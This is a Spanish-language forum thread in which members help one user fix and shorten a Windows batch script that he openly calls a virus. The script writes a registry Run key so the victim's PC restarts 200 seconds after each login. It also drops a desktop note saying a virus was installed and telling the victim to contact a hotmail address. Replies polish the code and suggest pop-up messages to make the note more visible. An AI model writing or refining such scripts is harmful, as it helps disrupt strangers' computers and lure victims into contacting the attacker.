Codigo-Batch

Iniciado por .Undertaker., 20 Agosto 2007, 19:12 PM

0 Miembros y 1 Visitante están viendo este tema.

.Undertaker.

Este codigo es correcto??

@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit




                 

"MI WEB"

b01n4v3rt

#1
cd "C:\%homedrive%%homepath%\escritorio"

¿? o no entiendo de esto, o no me ha quedado claro, pero no se lo que es eso.

usa el que usaste despues en vez de eso:

cd "%USERPROFILE%\Escritorio"

echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>>solucion.txt

la barra >> solo tiene que haber >, porque > es para crear el archivo,
pero >> es para añadir al archivo.

Sería:

Citar@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
cd "%USERPROFILE%\Escritorio"
md "ENTRA AQUI"
cd "ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>solucion.txt
cls
exit

P.D: en vez de crear un txt y esa movida, puedes usar el comando msg
       para que le aparezca una ventana con un mensaje:

              msg %username% loquequierasponerle

.Undertaker.

cd "C:\%homedrive%%homepath%\escritorio"

->esto kiere decir k cd redirecciona al escritorio d cualkier usuario en su pc.





                 

"MI WEB"

b01n4v3rt

#3
si... bueno... :


http://img123.imageshack.us/img123/4589/dibujojn0.jpg


Ya te expliqué como lo has de usar, y usa

cd "%USERPROFILE%\Escritorio"

en vez de esto que no existe:

cd "C:\%homedrive%%homepath%\escritorio"

b01n4v3rt

oh, ya encontré tu fallo, vale:

cd "C:\%homedrive%%homepath%\escritorio"


quitas el C:\


y en vez de lo otro pones:


%homedrive%  (va a la unidad en la q está instalada windows)
cd "%homepath%\escritorio" (va a Documents and settings/user/escritorio)


tienes que hacerlo en 2 líneas porque la primera te mueve a esa unidad,
y la segunda te mueve a esa carpeta, no te permite hacer las 2 cosas a la vez.

(hombre tambien puedes unir los comandos con &&)
%homedrive%&&%cd "homepath%\escritorio"

.Undertaker.

#5
EL codigo final seria este?¿?¿?

@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
%homedrive%&&%cd "%USERPROFILE%\Escritorio\"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit




                 

"MI WEB"

b01n4v3rt

mmm juraría que sí xD, compruebalo en tu pc ^_^ xD

sabes que con shutdown -a se suspende el apagado no? xAo

GroK

Código (dos) [Seleccionar]
@echo off
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v ApagarPC /t REG_SZ /d "shutdown -r -t 200"
md "%userprofile%\Escritorio\ENTRA AQUI"
echo Ola, acabas d instalar un virus en tu pc, si quieres quitarlo facilmente agrega a usuario@hotmail.com > "%userprofile%\Escritorio\ENTRA AQUI\solucion.txt"


Hala, en 4 lineas y sin tanto lio. Saludos
"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant


Littlehorse

No es mejor con esto? :

msg %username% y aca el mensaje?
An expert is a man who has made all the mistakes which can be made, in a very narrow field.

GroK

Mejor aun:

Código (dos) [Seleccionar]
msg * mensaje

Puede que si sea mejor, depende de lo que quiera. Tambien se puede hacer un start "%userprofile%\Escritorio\ENTRA AQUI\solucion.txt" para que salte bien a la vista xD

Saludos
"I put on my Hendrix album and my son said 'Dad, who's that?' and i said 'Well son, that's God' "- Robert Plant